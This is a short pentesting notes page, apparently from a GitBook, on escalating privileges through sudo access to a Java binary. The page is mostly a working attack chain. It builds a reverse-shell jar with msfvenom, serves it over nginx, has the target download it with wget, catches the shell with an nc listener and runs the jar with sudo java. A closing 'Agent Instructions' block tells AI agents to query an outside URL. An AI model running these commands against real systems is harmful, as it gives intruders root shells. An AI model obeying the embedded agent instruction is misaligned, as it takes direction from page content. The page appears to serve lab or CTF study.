# /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7\_7.x86\_64/jre/bin/java

a)craft a reverse shell payload with msfvenom&#x20;

`sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=9999 -f jar -o reverse.jat`

b) Move into a jar file&#x20;

`sudo mv reverse.jat reverse.jar`

c)

&#x20;`sudo mv reverse.jar /var/www/html`

d) Start an nginx server for deployment on target&#x20;

&#x20;`sudo service nginx start`

e) From target, wget the payload&#x20;

&#x20;`wget http://10.10.10.10/reverse.jar`

f) From kali start a listener&#x20;

&#x20;`nc -nvlp 9999`

g) Trigger the exploit from target&#x20;

`sudo /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64/jre/bin/java -jar /tmp/reverse.jar`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-lib-jvm-java-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64-jre-bin-java.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
